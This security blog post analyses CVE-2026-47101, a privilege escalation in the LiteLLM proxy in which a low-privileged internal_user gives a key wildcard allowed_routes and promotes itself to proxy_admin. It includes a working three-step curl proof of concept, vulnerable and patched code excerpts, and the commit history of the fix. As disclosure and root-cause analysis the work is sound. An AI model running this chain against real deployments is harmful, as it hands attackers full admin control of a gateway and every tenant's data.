//nefariousplan

CVE-2026-47101: LiteLLM's allowed_routes Field Was The Bypass The Patch Comment Said It Was

vendor

patterns

cve

proof of concept

The LiteLLM 1.83.14 patch added a function called _check_allowed_routes_caller_permission. Its docstring is four sentences. The third one reads, verbatim: "allowed_routes bypasses the standard role-based route gate in RouteChecks.non_proxy_admin_allowed_routes_check, so if a non-admin is allowed to set it they can grant themselves access to any endpoint." Until commit d910a95 on April 9, 2026, the function did not exist, and /key/generate accepted allowed_routes from any authenticated caller. The field the API exposed to internal_user was, by the system's own design, the override for the role-based ACL.

CVE-2026-47101 was disclosed by Fenix Qiao (13ph03nix) of Obsidian Security through Huntr and published by BerriAI on May 21, 2026. The NVD summary calls it "improper validation on the allowed_routes field." The patch's own comment calls it what it is.

The exploit is three calls. Each one unwraps the next.

The PoC, in shell, against a stock v1.82.6 container:

# 1. Authenticate as the lowest-privileged authenticated role.
#    The internal_user key here was minted by an admin via /user/new.
curl -X POST http://target:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'
# {"key": "sk-wildcard-key", "allowed_routes": ["/*"], ...}

# 2. Use the wildcard key to update your own user record.
curl -X POST http://target:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-own-id", "user_role": "proxy_admin"}'
# {"user_id": "...", "data": {"user_role": "proxy_admin", ...}}

# 3. Confirm admin access. /user/list is proxy_admin-only.
curl -X GET http://target:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"
# Returns every user on the proxy.

Three calls, three gates passed, three gaps. The caller starts as the lowest-privileged authenticated role LiteLLM ships, internal_user, intended for read-mostly self-service. After call two, they hold proxy_admin, the role that can delete other users, rotate the master key, edit the model catalog, and read every team's spend across the deployment. The PoC's demo.sh runs the chain end to end in under two seconds.

Gap one: /key/generate accepted the field without checking the caller's role.

Pre-patch litellm/proxy/management_endpoints/key_management_endpoints.py, abridged:

@router.post("/key/generate", ...)
async def generate_key_fn(
    data: GenerateKeyRequest,
    user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth),
    ...
):
    ...
    # data.allowed_routes flows through into the new token row.
    # user_api_key_dict.user_role is read for unrelated checks
    # (max budget enforcement, user_id auto-assignment) but never
    # gated against data.allowed_routes.

The handler verified the caller held a valid API key. It did not verify that the caller's role permitted setting allowed_routes on the issued key. data.allowed_routes was stored verbatim into the new LiteLLM_VerificationToken.allowed_routes column.

The fix, added in commit d910a95 on April 9, 2026, is one function and one call site:

def _check_allowed_routes_caller_permission(
    allowed_routes: Optional[list],
    user_api_key_dict: UserAPIKeyAuth,
) -> None:
    """
    Only proxy admins may set `allowed_routes` on a key.

    `allowed_routes` bypasses the standard role-based route gate in
    RouteChecks.non_proxy_admin_allowed_routes_check, so if a non-admin is
    allowed to set it they can grant themselves access to any endpoint.
    Non-admins should use `key_type` to pick a preset route bucket instead.
    """
    if not allowed_routes:
        return
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return
    raise HTTPException(
        status_code=403,
        detail={"error": "Only proxy admins can set `allowed_routes` on a key."},
    )

Read the second paragraph of the docstring again. The author is not describing a bug. They are describing the field's job. The job, by design, is to override the role-based gate. That is the correct behavior when an admin issues a scoped key to a service account. The bug is that, until April 9, the override was reachable from any role, including the roles the gate was supposed to protect.

Gap two: the route gate falls through to the token's allowlist on purpose.

litellm/proxy/auth/route_checks.py, the non_proxy_admin_allowed_routes_check method, is a thirteen-branch if/elif/else chain. Read in order, with the immaterial branches collapsed:

if RouteChecks.is_llm_api_route(route=route):
    pass  # LLM completion routes always pass
elif RouteChecks.is_info_route(route=route):
    ...   # /key/info, /user/info, /model/info handle themselves
elif _user_role == LitellmUserRoles.INTERNAL_USER.value and check_route_access(
    route=route, allowed_routes=LiteLLMRoutes.internal_user_routes.value,
):
    pass  # /user/update is NOT in internal_user_routes
elif _user_is_org_admin(...) and check_route_access(org_admin_allowed_routes):
    pass
elif _user_role == INTERNAL_USER_VIEW_ONLY and ...:
    pass
elif check_route_access(route=route, allowed_routes=self_managed_routes):
    pass
elif route.startswith("/v1/mcp/") or route.startswith("/mcp-rest/"):
    pass
elif check_passthrough_route_access(route, user_api_key_dict=valid_token):
    pass
elif valid_token.allowed_routes is not None:
    # ← This branch.
    route_allowed = False
    for allowed_route in valid_token.allowed_routes:
        if RouteChecks._route_matches_allowed_route(route, allowed_route):
            route_allowed = True; break
        if RouteChecks._route_matches_wildcard_pattern(route, allowed_route):
            route_allowed = True; break
    if not route_allowed:
        raise admin-only exception
else:
    raise admin-only exception

Each role-based branch asks: "is this caller's role allowed on this route?" Each role check works by intersecting the route against a hardcoded per-role allowlist. INTERNAL_USER against internal_user_routes does not include /user/update, so the third branch falls through. Every role-based branch falls through for an INTERNAL_USER calling /user/update.

Then the function reaches elif valid_token.allowed_routes is not None. The token's own allowed_routes is evaluated last, after every role-based check has already failed, as the documented override for role-based denial. With ["/*"] on the token, _route_matches_wildcard_pattern("/user/update", "/*") returns true, route_allowed flips to true, and the function returns without raising.

The design intent is explicit in the order: an admin who issues a key with allowed_routes is saying "trust this key for these specific routes, even though the user behind it doesn't have role-based access to them." The patch's own docstring is correct. allowed_routes is the bypass. The bug is that the gate at issuance was missing.

Gap three: /user/update permits self-service, and the field-level guard was absent.

In v1.83.14, the _update_single_user_logic helper in internal_user_endpoints.py opens with this check:

# Only proxy admins can modify user_role
if (
    user_request.user_role is not None
    and user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN.value
):
    raise HTTPException(
        status_code=403,
        detail="Only proxy admins can modify user roles.",
    )

In v1.82.6, this check did not exist. The only authorization gate inside /user/update was the per-record helper, can_user_call_user_update:

def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True
    elif user_api_key_dict.user_id == user_info.user_id:
        return True
    return False

The helper answers a per-record question: "may this caller mutate this user row?" The answer "yes, because they are this user" is reasonable for a self-service flow where users change their own email, password, or budget. The helper does not look at WHICH FIELDS the caller is mutating. user_role is one of the fields UpdateUserRequest permits. The handler folds the request body into a Prisma update_data(user_id=..., data=non_default_values) call, where non_default_values includes user_role="proxy_admin". The database update succeeds. The user is now proxy_admin.

Per-record authorization and per-field authorization are different gates. The pre-patch code held one and skipped the other. Self-service is a useful design intent; "let users mutate their own role field" is not what anyone meant by it, but it is what the code permitted.

Three components, three owners, no one owns the composition.

This is what emergent-primitive looks like inside one repository instead of across vendors. Each of the three components is correct in isolation:

  • /key/generate accepts allowed_routes because keys-with-scoped-route-lists is a real, documented feature for admins.
  • The route check falls through to the token's allowed_routes because the field is the documented override path for admin-issued scoped keys.
  • /user/update permits self-update because self-service mutation is the design intent.

No single change to any one component closes the chain. The fix ships in three independent commits across two files:

Commit Date What it adds
d910a95 2026-04-09 _check_allowed_routes_caller_permission, wired into /key/generate and /key/update; the field-level user_role guard in _update_single_user_logic
2220f30 2026-04-24 Re-checks allowed_routes after handle_key_type runs (because key_type=management derives an elevated bucket non-admins shouldn't reach); whitelists llm_api_routes and info_routes presets; adds the same shape on a sibling field via _check_passthrough_routes_caller_permission
5190bd0 2026-04-24 Extends both checks to the service-account creation path; hardens raw-body acceptance against the same shape

The first commit landed April 9. The tightening commits landed April 24, after the team realized the initial fix had broken the safe presets that non-admins are supposed to be able to request through key_type. CVE-2026-47101 published May 21, six weeks after the first fix and twenty-seven days after the last. v1.83.14-stable is the release that carries all three.

Read the three commit messages together: "tighten caller-permission checks on key route fields," "extend caller-permission checks to service-account + harden raw-body acceptance," "improve input validation on management endpoints." Three commits, three framings, one composition. The PoC chains all three gaps because each gap individually is small enough to slip past review and large enough to step on. This is the trust-inversion shape the composition produced: the credential the caller mints from /key/generate is the credential that authorizes /user/update to overwrite the caller's own role. The credential is the attack surface; it was issued by the system to the attacker on request.

The CVSS vector reads PR:L. Low privileges required. internal_user is the role LiteLLM ships for self-service users in a multi-tenant deployment. It is also, in many production LiteLLM proxies, the role attached to the application keys downstream services hold. Anyone who reached internal_user reached proxy_admin.

PoC: learner202649/CVE-2026-47101-PoC

The patch closes this CVE. A caller-supplied policy field stored on a credential and consulted at request time as an override for the role gate is a primitive every LLM gateway will ship some version of.